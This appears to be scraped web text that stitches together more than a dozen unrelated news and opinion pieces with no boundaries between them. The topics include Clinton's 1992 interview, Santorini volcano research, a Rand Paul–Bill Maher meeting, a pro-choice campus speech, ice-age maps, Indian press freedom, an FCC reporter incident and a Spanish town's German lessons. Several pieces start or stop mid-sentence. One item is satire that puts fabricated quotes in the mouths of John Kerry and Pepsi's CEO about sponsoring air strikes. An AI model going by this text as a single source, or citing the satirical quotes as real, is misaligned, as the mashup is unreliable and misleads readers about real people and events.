But if PPE does not survive, Oxford University, ever pragmatic, already offers an alternative of sorts. Seven years ago, after a £75m donation from the Ukrainian-American businessman and philanthropist Leonard Blavatnik, Oxford opened the Blavatnik School of Government. It occupies a purpose-built new building, a great whorl of glass and golden stone, a few hundred yards from the PPE philosophers’ dowdier premises. The Blavatnik offers courses in public policy for postgraduates, but summarises its mission more expansively: “educating leaders”. In Britain, as in most old countries, one elite tends to replace another.
• Follow the Long Read on Twitter at @gdnlongread, or sign up to the long read weekly email here.Hillary Clinton said in a 1992 interview that she would be considered "conservative, not liberal" on the question of the death penalty were it not for Republican attacks against her, and said that the same would be true of her stance on parental notification for abortion.
While Clinton has fought off criticisms from Bernie Sanders that she is insufficiently "progressive" in this primary, she was in the opposite position in July 1992 during the Democratic National Convention. Asked by PBS' Judy Woodruff about Republican allegations that she was a radical left-wing counterpart to Bill Clinton, the party's nominee, she argued that the characterization ignored her conservative views on issues like capital punishment.
"So I suppose that they're coming after me and I have to ask myself, why are they doing that? Particularly, why are they distorting who I am and taking me out of context and forgetting the fact that, in many areas, whether it be the death penalty or parental notice, I would be considered conservative, not liberal?" Clinton told Woodruff. "And I think it's because they worry that I do have more in common with most American women today than many other people and that the kind of struggles that I've had to go through are ones that people can identify with."
Clinton's position on the death penalty in particular has come under scrutiny this election. In October, she reaffirmed her support for preserving some form of capital punishment, but added, "We have a lot of evidence now that the death penalty has been too frequently applied, and too often in a discriminatory way."
Clinton has mainly discussed preserving the death penalty in the federal system as it concerns terrorism, but hasn't been entirely clear on what crimes in general should or should not merit capital punishment consideration. In a March debate, she said states that apply it must "meet the highest standards of evidentiary proof of effective assistance of counsel." She went on to reiterate a point she made in February, saying that she has "much more confidence in the federal system" and citing the case of Timothy McVeigh, who got the death penalty for bombing the Federal Building in Oklahoma City in 1995.
The other issue Clinton mentioned to Woodruff, her belief that the parents of minors seeking abortions should be notified (though not given the power of consent), has not come up in this Democratic primary. She has, however, been criticized for it in the past. As a New York senator in January 2005, she said she supported "parental notification with a judicial bypass," meaning that there should be cases where judges exempt individuals from the notification requirement.
The comment caused concern among abortion rights supporters about her position, forcing her aides to clarify that she had evolved from her support for parental notification laws in Arkansas and preferred New York's laws, which only required minors to be told about risks and other medical options. "In states where it is the only option, then yes, she supports parental notification with judicial bypass," her spokeswoman said then.
Beyond her comment on the death penalty and parental notice, much of the rest of the 1992 interview with Woodruff was devoted to the question of how Clinton could regain control of the public perception of her.
"What I'm trying to do is to make sure that people have an accurate perception of who I am," she said. They may still decide that they don't like me because I wear headbands on occasion or whatever the reason might be."
In the end, however, Clinton predicted that people's views of her wouldn't affect whether they voted for her husband.
"I honestly don't believe that the spouse of anyone determines how somebody votes," she said.An American entertainment journalist has turned personal tragedy into an inspiring and touching opportunity to be unexpectedly generous to others (via Mediabistro.com). After unexpectedly losing his two-and-a-half-year-old daughter Savannah, Larry Carroll and his wife decided to channel their grief into an online campaign to raise money in her name. His goal: to raise $10,000 and offer another family a “Stolen Moment”, such as a trip to Disneyland or any memorable experience for a child to have with her parents.
Given his loss, the determination is impressive. “In the wake of this tragedy, I’m determined to create joy,” explains Larry Carroll on the “Savannah’s Stolen Moment Campaign” website. “And my dream is to take every penny of those donations, locate a special little girl somewhere in the world — and give her and her family the ‘Stolen Moment’ that we’ll never be able to make with our baby Savannah.”
The only requirements for eligibility are that the family “have a little girl, that they very clearly love her, and that they don’t have the financial means to typically do this sort of thing,” says Carroll.
It gets even more wonderful. Any extra money raised will be put into a college fund for the child selected. At last check, the tally surpassed $20,000.
If you can’t donate, Carroll wants you to do something else in Savannah’s memory.
“Hug your child tight, tell them that you love them. Every. Damn. Day.”Image caption An artist's impression of multiple eruptions as a "super volcano" explodes. The new research suggests we may be able to predict such events decades earlier
The eruption of some of the largest volcanoes on the planet could be predicted several decades before the event, according to researchers.
Analysis of rock crystals from the Greek island of Santorini suggests eruptions are preceded by a fast build-up of magma underground, which might be detected using modern instrumentation.
Such volcanoes can produce enough ash and gas to temporarily change the global climate.
The research is in the journal Nature.
Volcanologists refer to history's largest volcanoes as "caldera-forming eruptions", as the magma ejected is so voluminous that it leaves a massive depression on the Earth's surface and a crater-like structure known as a caldera.
If you had a big eruption of this sort in the middle of Europe today, the effects would be enormous Tim Druitt, Blaise Pascal University, France
The largest of these volcanoes have been dubbed "supervolcanoes" and their eruptions can trigger devastation with global impacts.
Such volcanoes can lie dormant for hundreds of thousands of years before blowing. But while researchers believe seismic data and other readings would give us a few month's notice of such an eruption, the new study suggests we might anticipate these events much earlier.
"When volcanoes awaken and when the magma starts to ascend to the surface, cracking rock as it does, it sends out signals," Prof Tim Druitt of France's Blaise Pascal University and lead researcher told BBC News.
"You get seismic signals, you get deformation of the surface, increasing gas emission at the surface - and this can be detected.
"The question we're addressing here is what's going on at depth prior to these big eruptions. The classical view was that during long repose periods over thousands of years, magma slowly accumulates a few kilometres below the volcano and finally it blows.
Image caption The Greek island of Santorini is actually the remains of a massive volcanic eruption
"What we're finding is that there's an acceleration phase of magma build-up on a time scale of a few decades, and that's surprisingly short given the thousands of years of repose that have preceded that eruption."
The evidence comes from analysis of crystals in pumice rock from the Santorini site, which the researchers in France, Switzerland and Singapore analysed using modern instrumentation including electron and ion microprobes.
"The changes in composition of the crystals with time provide little histories of how the magma itself has evolved," said Prof Druitt.
"What we found was that all the crystals in the magma grew within a few decades of the eruption."
Early warning
Caldera-forming eruption sites can be found all over the world, although it is believed that all are currently dormant. They include sites in Yellowstone National Park in the United States, Campi Flegrei in Italy and Santorini and its accompanying islands.
The eruption at the latter site over 3,600 years ago is called the "Minoan" eruption as it occurred at the height of the Minoan civilisation on the nearby island of Crete and was once thought to have caused its collapse, although that is now a moot point.
Predicting such events years rather than months before they happen could prove vital, says Prof Druitt.
"What we're saying is that all caldera volcanoes, even those in remote regions of the globe, should be monitored using highly sensitive modern instruments in order to pick up these deep signals which may suggest reactivation," he said.
"If you had a big eruption of this sort, let's say in the middle of Europe today, the effects would be enormous and a few months might not be enough to get your act together."
Image caption A volcanic "caldera" like this one on the Galapagos Islands can change the global climate when they erupt
Commenting on the paper, Prof David Pyle, a volcanologist from Oxford University said: "This new work on Santorini sheds new light on what happens in the lead-up to the rare catastrophic eruptions, like the Bronze Age 'Minoan' eruption, which happen every 20,000 years or so.
"The new evidence from mineral grains appears to strengthen the idea, which has been developing in recent years, that large magma systems appear to awaken from long periods of repose only shortly (months, years or decades) prior to eruption.
"That is, the magma which eventually erupts appears to rise into position, in the top few kilometres of the crust, only a short time before the eruption begins."
However, he said the next problem was to try to understand what was causing this accelerated build up of magma.
"The challenge for volcanologists is to understand what it is that causes these bursts of melt movement; to understand where the melts have come from, and to be able to recognise their signals before an eruption begins."Pepsi to Sponsor Syrian Air Strikes
The Lonely Petunia Blocked Unblock Follow Following Aug 30, 2013
WASHINGTON, DC – To calm citizens’ fears that the U.S. is looking to enter a drawn-out and very expensive bombing campaign that will likely cost the taxpayers millions if not billions of dollars, national security advisers announced that the pending air strike against Syria will be sponsored by Pepsi. “Look, we don’t have the money, or the political support,” said Secretary of State John Kerry in a statement on Friday, “and this lucrative deal with the All-American soda pop maker solves both those problems.” Pepsi-Cola CEO Indra Nooyi explained her reasoning, “First, we’re trying to maintain Pepsi as a global brand, and this relationship helps us grow our reach in the Middle East. Second, we know Syria is going to be all over the news for probably a very long time—these things rarely end quickly—and in our mind, no press is bad press.” “The best part,” continued Secretary Kerry, “is that it gives us an easy way out. If things are going great in Syria, everyone wins. But if things go badly, we can quickly and easily pull out saying that we lost our sponsorship dollars. And that’s an exit strategy the American public can definitely understand.” Secretary Kerry said they are working with Subway to sponsor the imminent ground attack and Walmart to sponsor the eventual nation-building.Story highlights Rand Paul and Bill Maher had drinks, according to Maher
The comedian has said he's open to backing Paul in 2016
But Maher says Paul's views on climate change may be a deal breaker
Sen. Rand Paul has spent quite a bit of time reaching out to liberals over the past year, and that list apparently now includes Bill Maher.
Paul, a libertarian-leaning Republican from Kentucky, and Maher, a comedian who shares some of Paul's libertarian views, had drinks two weeks ago, Maher told the liberal news outlet Salon
The two met not long after Maher said on his HBO show that Paul is "interesting" and could "possibly" get his vote. If the 2016 presidential race came down to Paul and Hillary Clinton, Maher said he might consider backing Paul.
Maher said he was most attracted to Paul because of the senator's general views on foreign policy, though he's not a fan of his recent support for bombing ISIS
JUST WATCHED Ben Affleck, Bill Maher spar over Islam Replay More Videos... MUST WATCH Ben Affleck, Bill Maher spar over Islam 02:12
JUST WATCHED Bill Maher'meddling' in politics Replay More Videos... MUST WATCH Bill Maher'meddling' in politics 06:43
"He's great on ending the empire, not getting into any more foreign entanglements -- I'm even to the left of him on the bombing (of ISIS); he wants to keep bombing ISIS, I want us to stop bombing altogether," he said.
While Maher donated $1 million to a super PAC backing President Barack Obama in 2012, he has been less than enthusiastic about a potential Clinton presidency, especially when it comes to her foreign policy.
But Maher told Salon there's stark daylight between him and Paul on a different issue.
"I had drinks with him about two weeks ago. He's a nice guy, he's a smart guy. My big problem is I asked him about the environment, which is my big issue," Maher said. "He had made a comment that was very similar to what Dick Cheney said about a month or two ago, which was basically, 'Why are we talking the environment when ISIS is out there?' I said, 'Senator, y'know, you sounded just like Dick Cheney.' "
Last month, Paul blasted Clinton for saying climate change marked the "most consequential, urgent, sweeping collection of challenges we face."
"I don't think we really want a commander in chief who's battling climate change instead of terrorism," Paul said on Fox News.
Maher said that Paul's answer on the environment was "wholly unsatisfactory" and that the senator would lose his vote based entirely on that issue unless Paul comes up with a better answer.
"This is the deal-breaker issue with me. You've got to be good on this or, I'm sorry, not going to happen," Maher said.
"Real Time with Bill Maher" airs on HBO, which, like CNN, is a division of Time Warner.Why anti-choice activity should not be supported by universities
Speech given at the University of Victoria, February 8, 2005 By Joyce Arthur I would like to begin by explaining what being pro-choice really means in our society, because that will help make clear why maintaining a strong pro-choice policy on campus is both important and essential. A woman's right to choose whether to have a baby or an abortion is a constitutional right. The Supreme Court threw out the old abortion law in 1988 because it violated women's rights to security of the person, liberty, and freedom of conscience. The court also found that the old anti-abortion law was discriminatory against women, especially vulnerable groups of women, such as poor women, young women, and rural women. Abortion is legal in Canada. Every province in Canada has listed abortion as "medically necessary". Abortion services are endorsed by the Canadian Medical Association and funded under the Canada Health Act. The maintenance of legal abortion services is supported by both federal and provincial governments, and every major political party, including the Conservative Party. No law exists to prohibit a woman's access to this service. In fact, access to required health services is a human right that has been recognized by our courts here in Canada. Further, international human rights documents recognize that women have a basic right to reproductive healthcare, and related information and education. These documents include the United Nations Convention on the Elimination of All Forms of Discrimination against Women (CEDAW), which was ratified by Canada in 1981. [It says that signatory states will take measures to eliminate discrimination by ensuring that women have the same rights as men to "decide freely and responsibly on the number and spacing of their children and to have access to the information, education and means to enable them to exercise these rights."] And the United Nations Beijing Declaration and Platform for Action (1995) states: "Women who have unwanted pregnancies should have ready access to reliable information and compassionate counselling.... In circumstances where abortion is not against the law, such abortion should be safe." This means that women's basic human rights include the right to unbiased and accurate information about reproductive healthcare services, and the right to access such services, including contraception and abortion (where legal). Pro-choice groups do provide such information and services, but anti-choice groups do not. In fact, the ultimate, implicit goal of all anti-abortion groups is to restrict abortion by law, or change current government policies to make abortion less accessible, or at the very least, advocate against abortion and women's right to access this right. What this means is that the advocacy work of anti-choice groups is in direct violation of international human rights codes, and the rights of women under our constitution, and it flies in the face of Canada's current law and policy around abortion. A common assumption is that the pro-choice view is the opposite of the anti-choice view and therefore we have to allow both. This is incorrect. The pro-choice position is the broad, middle-ground view shared by a large majority of Canadians, whether or not they personally agree with abortion. In contrast, anti-choice groups wish to use the law to force women to bring unwanted pregnancies to term (the opposite of that is forced abortion, like in China). The pro-choice view opposes this extremist, discriminatory position, and says that women should have information on and equal access to all pregnancy options, in a safe, non-judgmental atmosphere. In fact, pro-choice health care is the professional standard in this country for all health care-patients must be respected as responsible decision-makers, be given unbiased and accurate information on all options, and not be morally judged for the choices they make. Anything less is unethical and unprofessional. Now, I've looked at the list of student groups at UVic, and Youth Protecting Youth appears to be the only one that promotes an anti-democratic and anti-human rights viewpoint. In my opinion, this makes the group illegitimate and unqualified to be an official student group. Let me give you some examples of the dangers of having such a discriminatory viewpoint disseminated and promoted on campus. Many of you have probably heard of the Genocide Awareness Project, which has been displayed numerous times at UBC and at some other campuses across Canada, and many in the U.S. The anti-choice student sponsors of this project display extremely offensive photos comparing abortion to holocaust victims and other real victims of genocide. These displays have brought a lot of controversy, student unrest, emotional upset, and divisiveness to campus. There has been violence and vandalism associated with many of the displays, including at UBC. The UBC administration had to take special and extreme measures to ensure student safety while the GAP displays were up. UBC was even sued by GAP for trying to set limits on the display in order to protect student safety. It's worth noting that when the GAP display was vandalized by a pro-choice student at UBC, it was because the display had gone up without the knowledge or permission of the administration, and with zero security measures in place, as required by the administration. Also, each time that GAP appears at UBC, there is a spike in counseling services, because many women get so upset and angry at the display, they have sought help. Why? It's because women perceive the displays as very personally offensive to themselves. Anti-choice people speak of their concern for fetuses, but a woman's fetus is her business and no-one else's. Any unwanted interference with her pregnancy decision is simply rude and insensitive, especially from strangers. And, if you've had had an abortion or are considering an abortion, or even if you know you might need an abortion someday, it's very insulting to face strangers in public who are blatantly comparing you to a Nazi, and making you feel as guilty as possible for making a very personal and often difficult decision. This is why pro-choice people believe that GAP displays are actually a form of hate literature. And of course, they're also exploitive and insensitive to real victims of genocide. But much of the other rhetoric and literature coming from anti-abortion groups is also hateful in at least subtle ways. It's just a matter of degree. Because the core beliefs of the anti-choice viewpoint include: abortion is murder, all women should be mothers, women should not have sex for pleasure, and women should not be allowed to have abortions. Those core beliefs tend to lead to some pretty sexist, discriminatory, and inflammatory statements. At the Pro-Choice Action Network, we frequently get calls or emails from women complaining about an anti-choice display they've seen, or a protest, or just a billboard or a TV ad advertising those anti-choice counseling agencies. These women are truly upset, angry. Because they are being disrespected, and their rights are being attacked. Not just their rights, but their privacy, their integrity, their judgment, their morals, their very humanity, really. Although it may seem extreme to say this, I believe that allowing an anti-choice group to organize and have public displays on campus, even if they don't use those offensive gory pictures, is comparable to allowing a KKK group to organize and display on campus. Women are upset by anti-choice displays in the same way that black people would be upset at a KKK display. There's really no difference. At universities in particular, I believe that anti-choice displays or information tables should not be allowed. A university has an obligation to provide a safe and positive environment for students that is conducive to learning. Openly public activities on campus that are divisive, discriminatory, hateful, and emotionally upsetting for many students detract from that goal. Also, as we know, when people get very angry and upset, they sometimes become irrational and lose their cool, increasing the risk of violence or vandalism. It happened at UBC, it's happened at many campuses in the U.S. because of GAP, and such risks should not be tolerated at campuses in general. The university administration has an obligation to protect the safety of students, and the right to be safe is a more primary right than the right to freedom of expression. So - in a nutshell, having a Pro-choice Policy on campus is not only important, it's essential. The pro-choice view is democratic. It respects the constitutional rights of women, their human rights, their autonomy, and their right to access legal medical services. It also respects the rights of anti-choice students because, according to the pro-choice view, if you don't like abortion, you simply don't have to have one. The UVic Student's Society Policy Manual has a Clubs Policy. I'd like to draw your attention to Section F, Harassment. Under the "Violations" section of the harassment policy, it says that clubs cannot engage in harassment, and one of the forbidden behaviours is anything that "discriminates against a person or group of persons on the basis of race, gender", and so on. Also, anything that "has the effect or purpose of unreasonably creating a hostile or intimidating environment." I'm not a lawyer, but based on everything I've already said, I think you could make a reasonable case that any kind of public activity or advocacy carried out by an anti-abortion group on campus could be interpreted as violating one or both of these two clauses. And if that's the case, then anti-choice groups cannot have official club status. What are the consequences of diluting your pro-choice policy, or allowing "official" anti-choice expression on campus? I think I've mentioned some of the risks and consequences already: safety concerns, upset and angry students who need counseling services, divisiveness, and the loss of a peaceful and positive learning environment on campus. These are the tangible consequences. The more intangible ones are probably even more important to guard against though. When anti-choice activity is sanctioned on campus, it sends the message that it's ok to dispense with women's rights and equality, it's ok to discriminate against women, it's ok to target women students as a group in order to disrespect them, or upset them, or hold them in contempt. These are not values that a progressive university needs to protect.The Ten Most Influential Economists of All Time
The economy has a huge impact on the quality of our lives, those whom have had an effect on the policy adopted, how it functions and the economy's health remain influential both during their tenure and for generations after. Here the Complete University Guide draws up its list of those we consider the most influential economists of all time:
1
Adam Smith 1723–1790
You may recognise Adam Smith, he’s the chap on the back of your £20 note. Educated at the University of Glasgow at the age of 14, he went on to pioneer political economy and is now deemed the ‘Father of Modern Economics’. Best known for his book The Wealth of Nations, in which Smith argued for free trade, market competition and the morality of private enterprise. The book still forms the foundation for economic policies around the world.
Next page: Eight Reasons to Study an Economics DegreeIce Age Maps showing the extent of the ice sheets
The last great ice age began around 120 000 years ago. One massive ice sheet, more than 3 kilometres thick in places, grew in fits and starts until it covered almost all of Canada and stretched down as far as Manhattan. Then, 20 000 years ago, a great thaw began. Over the following 10 000 years, the average global temperature rose by 3.5° C and most of the ice melted. Rising seas swallowed up low-lying areas such as the English Channel and North Sea, forcing our ancestors to abandon many settlements.
Map showing the Last Glacial Maximum (LGM) Eurasian Ice Sheet according to Svendsen et al. (2004), with the numbered working areas described in the text.
(1) Laptev Sea Coast and Bykovsky Peninsula,
(2) Central Taymyr Peninsula,
(3) SE Taymyr Peninsula, Labaz Lake Region,
(4) Severnaya Zemlya Archipelago,
(5) West Siberia and Yamal Peninsula,
(6) Ural Mountains,
(7) Pechora Lowland, and
(8) NW Russian Plain.
Svendsen et al. (2004)
Ice caps over the British Isles at the end of the last ice age
These maps show the rate at which the ice sheet over the British Isles during the last Ice Age melted. The ka on the images is short for thousand years and BP is "before present." So 27 Ka BP is the map of the ice sheet at 27 000 years ago. - University of Sheffield
A set of maps created by the University of Sheffield have illustrated, for the first time, how the last British ice sheet shrunk during the Ice Age. Led by Professor Chris Clark from the University's Department of Geography, a team of experts developed the maps to understand what effect the current shrinking of ice sheets in parts of the Antarctic and Greenland will have on the speed of sea level rise. The unique maps record the pattern and speed of shrinkage of the large ice sheet that covered the British Isles during the last Ice Age, approximately 20 000 years ago. The sheet, which subsumed most of Britain, Ireland and the North Sea, had an ice volume sufficient to raise global sea level by around 2.5 metres when it melted.
Photo: By kind permission of S. Davis, University of Sheffield
The maximum extent of the ice over the British Isles in the last ice age
Using the maps, researchers will be able to understand the mechanisms and rate of change of ice sheet retreat, allowing them to make predictions for our polar regions, whose ice sheets appear to be melting as a result of temperature increases in the air and oceans.The maps are based on new information on glacial landforms, such as moraines and drumlins, which were discovered using new technology such as remote sensing data that is able to image the land surface and seafloor at unprecedented resolutions.Experts combined this new information with that from fieldwork, some of it dating back to the nineteenth century, to produce the final maps of retreat."It is also possible to use the maps to reveal exactly when land became exposed from beneath the ice and was available for colonisation and use by plants, animals and humans. This provides the opportunity for viewers to pinpoint when their town/region emerged.Professor Chris Clark, from the University of Sheffield's Department of Geography, said: "It took us over 10 years to gather all the information in order to produce these maps, and we are delighted with the results, It is great to be able to visualise the ice sheet and notice that retreat speeds up and slows down, and it is vital of course that we learn exactly why. With such understanding we will be able to better predict ice losses in Greenland and Antarctica. In our next phase of work we hope to really tighten up on the timing and rates of retreat in more detail, by dropping tethered corers from a ship to extract seafloor sediments that can be radiocarbon dated."Photo:http://www.eurekalert.org/pub_releases/2011-02/uos-rmo021111.phpText: http://www.archnews.co.uk/featured/5322-researchers-map-out-ice-sheets-shrinking-during-ice-age.html
This is a wonderful map, also from Professor Clark's team at the University of Sheffield. Readers can get the original pdf files free from
http://www.sheffield.ac.uk/geography/staff/clark_chris/britice.html
I have combined the information in three maps onto one.
Things to note are that a substantial part of the British Isles was never glaciated, and that there was a huge sea ice dammed lake in parts of the East Anglia - East Midlands area.
The data is from 2002, and it is envisaged that other editions will follow as more information comes to hand.
Photo: http://www.sheffield.ac.uk/geography/staff/clark_chris/britice.html
This is part of the BRITICE project.
Clark, C.D., Evans, D.J.A., Khatwa, A., Bradwell, T., Jordan, C.J., Marsh, S.H., Mitchell, W.A. and. Bateman, M.D. (2004) Map and GIS database of landforms and features related to the last British Ice Sheet. Boreas 33 (4) 359-375 SHERPA Archive version (open access) doi:10.1080/03009480410001983
Map of the shoreline in the neighbourhood of the British Isles, ca 18 000 BP.
Note that the ice sheet shown on Britain in this map is much smaller for the same date than most other maps.
Photo: National Geographic Vol. 222 No 6 December 2012
The Ice Ages limits of vegetation and sea level
Click on the photos to see an enlarged version
Ice Age conditions in Europe
A: The position of the polar timberline in present-day Europe
B: The position of the timberline at the most severe stage of the Würm Ice Age.
C: The limits of glacial debris deposited during the Würm Ice Age.
D: The limits of glacial debris deposited during the Riss and Mindel Ice Age.
Photo: Secrets of the Ice Age by Evan Hadingham, 1980
Landscape and the areas and types of vegetarion during the Würm/Weichsel glaciation.
Note that the permafrost level came to just north of Lascaux and Chauvet, and that Predmost (Dolni Vestonice) and Willendorf were within the permafrost zone.
Photo: http://www.vinetowinecircle.com/en/genetics/the-presence-of-wild-vines-during-the-ice-age-in-iberia/
Map of the vegetation in Europe between 13 000 BP and 12 000 BP.
1 - Ice sheet
2 - Tundra
3 - Tundra 'xeric' variant (i.e. dry tundra)
4 - Birch-Pine forest
5 - Mixed forest
6 - Northern mixed conifer-deciduous forest
7 - Spruce dominated forest
8 - Steppe with Gramineae (now called Poaceae)
9 - Steppe (i.e. vast semi-arid grass-covered plain, as found in southeast Europe, Siberia, and central North America)
10 - Mixed-deciduous forest
11 - Mixed forest
12 - Sites with amber artefacts
Photo: Burdukeiwicz (1999)
It is important to realise the changes in climate towards the end of the last ice age.
The history of the development of modern man falls into the most recent geological age, the Quaternary. It began 2.6 million years ago. From a climatic |
in most other countries in last third of the Index.
Frequent lawsuits against journalists by local officials and draconian legislation on defamation and online publications impose major constraints on the media and encourage self-censorship. But violence has emerged as the main brake on media activity in recent years, especially for reporters in the field and investigative journalists.
Wherever they work, Indian journalists are exposed to growing violence. As well as frequent verbal and physical violence, attacks by armed groups are on the rise in several states and the local authorities have had little success in reining it in.
With almost one attack on a journalist every month and four journalists murdered in 2015 (at least two of them in connection with their work), the state of Uttar Pradesh has become one of India’s most dangerous regions, more so than traditional conflict zones such as Jammu and Kashmir, where the media are often the collateral victims of clashes.
In response to the frequent violence, RSF has repeatedly urged the federal government to launch a national action plan for the safety of journalists and for the prevention of dangers and threats to them. But RSF’s requests have so far gone unheeded.
In August 2015, the interior minister said there were no separate statistics for murders of journalists, which are lumped along with other crime figures. The government has made no provision for the creation of a special unit to combat impunity for crimes of violence against journalists, although there was an attack against a journalist every three days in 2014, according to the National Crime Records Bureau.
Published annually by RSF since 2002, the World Press Freedom Index measures the level of freedom available to journalists in 180 countries using the following criteria – pluralism, media independence, media environment and self-censorship, legislative environment, transparency, infrastructure, and abuses.
Go to the RSF website to find out more about the 2016 World Press Freedom Index and the method used to compile it.The Frizlen Group is currently in the process of acquiring 794 Potomac Avenue, with the intentions of building a new structure that will house 26 condo units on 2.5 floors, with 57 parking spaces under the building. Currently, the site is home to a single family home and an automotive workshop (26,000 sq.’ of land). Since embarking on the project, Frizlen has been met with some adversity from neighbors who feel that the project is “too big” and will cause congestion issues on the street.
According to Frizlen, the underground parking spots will alleviate parking issues on the street, and unit ownership means that dwellers will be more respectful of their surroundings. This is a desirable part of the city – the development will help to boost the vitality of the area. As with any multi-unit property in a thriving urban neighborhood (Lexington Avenue, Bryant, all over the West Side…), these types of buildings don’t cause traffic issues. Instead, they help to create vibrant urban neighborhoods, where people take pride in their streets and their dwellings. They walk to their parks and they shop at local businesses. Frizlen feels that he is contributing to the livelihood of the neighborhood by creating a productive dwelling from a parcel of land that was underutilized, and quite frankly a wreck.
In order to move forward with the project, Frizlen anticipates on performing an environmental cleanup, which could include removing underground tanks from the property. He says that he did his best to create a proper scale with the flanking houses. And most importantly, the units for sale will be condos that will range between $350,000 to $550,000. Buffalonians have been calling out for more condos, where people can actually invest instead of paying rent to a landlord.
For those that say that the building should be scaled down for aesthetic purposes, the renderings show a project that is on par with the scale of the surrounding structures. In a recent letter to the City of Buffalo Board of Appeals, Frizlen explained that he “adapted the architectural appearance of the new construction to the existing scale and character of the neighborhood.” He went on to say, “The building will exceed standard performance criteria and we will make sure that it will contribute to, and enhance, the neighborhood’s character.”“Incidents like these, occurring under a president who has openly threatened a free press, take on a greater and more ominous significance,” said Kathy Kiely of the National Press Club Journalism Institute.
O'Rielly added that while he didn’t doubt Donnelly’s claims, he “didn't see physical touching,” and at the time of the incident he was "freezing and starving.”
Mandel Ngan/AFP/Getty Images
A veteran journalist on Thursday was allegedly pinned to a wall by security guards at Federal Communications Commission (FCC) headquarters. This is the latest journalist to be threatened, assaulted, or arrested while attempting to ask questions of federal government officials.
John Donnelly, a senior defense writer at CQ Roll Call, said in a statement that he was “manhandled” by FCC security guards, and was physically forced to leave the building after he tried to ask questions of FCC commissioners.
“I could not have been less threatening or more polite,” Donnelly said. “There is no justification for using force in such a situation.”
The FCC on Thursday held a public hearing on net neutrality regulations, and commissioners took questions from reporters after the hearing. Donnelly said he waited in the hallway to asked the commissioner a question on an unrelated topic.
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Donnelly claims that when he approached FCC Commissioner Michael O’Rielly to ask him a question, two security guards pinned Donnelly against a wall with their backs until the commissioner walked past. The security guards then forced Donnelly to leave the building “under implied threat of force.”
Jeff Ballou, president of the National Press Club, said in a statement that Donnelly was doing his job with “characteristic civility,” adding “it is completely unacceptable to physically restrain a reporter who has done nothing wrong or force him or her to leave a public building as if a crime had been committed.”
The FCC has not yet issued a public statement on the incident, and gave identical responses to multiple media outlets. “We apologized to Mr. Donnelly more than once and let him know that the FCC was on heightened alert today based on several threats,” an FCC spokesperson told the Washington Post.
In a Twitter exchange with Donnelly, O’Rielly wrote that he “didn’t recognize” Donnelly and didn’t witness a physical altercation. “I saw security put themselves between you, me, and my staff. I didn’t see anyone put a hand on you. I’m sorry [this] occurred,” O’Rielly wrote.
O’Rielly added that while he didn’t doubt Donnelly’s claims, he “didn’t see physical touching,” and at the time of the incident he was “freezing and starving.”
This incident comes during increasing tensions between the press and the Trump administration.
Kathy Kiely, press freedom fellow at the National Press Club Journalism Institute, said in a statement that the incident could not be dismissed in today’s political climate.
“Incidents like these, occurring under a president who has openly threatened a free press, take on a greater and more ominous significance,” Kiely wrote. “And they do not seem to be isolated.”
President Trump has said that he wants to change the country’s libel laws. Trump wrote on Twitter that the news media is the “is the enemy of the American People,” a claim he repeated during a speech at the Conservative Political Action Conference.
Stephen Bannon, the president’s chief strategist and former head of the white nationalist news outlet Breitbart, told the New York Times that the media should “keep its mouth shut” and described the press as the “opposition party.”
It was recently revealed Trump suggested that former director of the FBI James Comey “should consider putting reporters in prison for publishing classified information,” according to reporting by the New York Times.
There were six journalists arrested January 20 during massive Inauguration Day protests. Charges against five of those journalists were dropped by prosecutors, but one still faces felony charges. A journalist was arrested in February while covering the Dakota Access pipeline protests near Standing Rock reservation, one of many journalists who have been arrested at Standing Rock.
A West Virginia reporter was arrested this month after he attempted to ask Department of Health and Human Services Secretary Tom Price whether domestic violence would be considered a pre-existing condition under the Republican plan to replace the Affordable Care Act.Spain held local and regional elections on May 22, and Romero won in Espera. He's a jovial, broad-shouldered, strong-looking man and a member of Izquierda Unida (United Left), a socialist coalition that includes Communists, Trotskyists, anarchists and Greens.
"Don't worry, I'm a moderate leftist," Romero says by way of greeting. He's a funny man, who likes to laugh and does so often. He's a Communist who carries a hammer and sickle keychain but wears a Rolex -- a very Spanish Communist.
Romero is seated in his mayor's office on the second floor of the town hall. It's a large room with casement windows that reach the ceiling, shelves full of old books and a lovely view over the village. On Romero's desk is a list of people he needs to call, people who want to offer their congratulations after he won an absolute majority in Espera for the third time. Romero has succeeded where the government in Madrid has failed -- he's convinced his citizens that the crisis isn't his fault.
The idea for a German course came up in early February. German Chancellor Angela Merkel had announced German-Spanish consultations in Madrid. In the run-up to those events, newspapers ran a comment made by a German politician named Michael Fuchs, the deputy floor leader of Merkel's conservative Christian Democratic Union in the German parliament. Addressing Germany's long-term need for skilled workers, Fuchs pointed out that "there are many unemployed young people in southern and eastern Europe who are looking desperately for work." Fuchs couldn't possibly have known what a reaction he would trigger in Espera.
The next day, residents of Espera were gathered in front of the town hall, demanding that Romero provide German lessons. "I found the idea strange at first," he says. A mayor sending his own voters away is certainly unusual. "But the course seemed like the only way out."
'The Divide Is Getting Bigger'
Romero sits down at his desk. The screensaver on his computer shows the emblem of the Cádiz C. F. soccer team and next to it, a picture of the mayor with friends, when they traveled to San Sebastián in northern Spain to watch their team play. All the way across the country for a soccer game -- Romero seems to find that not quite fitting at the moment, and turns the computer off.
"Hardly anyone can afford this kind of trip anymore," he says. "The divide is getting bigger. Out of 4,000 people here, nearly 1,200 don't have jobs. It can't go on like this." The people with jobs start asking themselves why the people without jobs are sitting around in the bar. The people in the bar start asking themselves why other people have jobs and they don't. "Something is shifting," Romero says. "Not just here, but all over the country."
Every day, more news reaches the mayor's beautiful office attesting to that shift. In many cities, the real estate agencies have closed and gold dealers have moved in to take their place, buying up old family jewelry, dealing in people's last reserves. Banks no longer advertise their mortgage rates, but now give away trips to customers who open accounts with them. Bookstores sell titles about weathering the crisis. One current bestseller is called "Overbooking en el nido," or "Overbooking in the Nest." It's a guide for parents about what to do when their grown children simply don't move out, because they can't afford an apartment of their own.
Mayor Romero closes the window and sets off for an appointment. Word has spread about his successes, and his party wants to offer him a seat in the provincial assembly. A man who wins reelection during a crisis could be put to use for bigger things. At least he's offering solutions.
Pedro Romero, the mayor who sends his people away, is thinking about applying Espera's model to the entire region. Recently, he relates, María, one of the village's first German students, arrived in Hanover and found a job at a language school there. She's teaching advanced Spanish.Looking for news you can trust?
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This story first appeared on the TomDispatch website.
No headlines announced it. No TV pundits called it. But on the evening of November 8th, Occupy Wall Street, the populist uprising built on economic justice and corruption-free politics that’s spread like a lit match hitting a trail of gasoline, notched its first major political victory, and in the unlikeliest of places: Ohio.
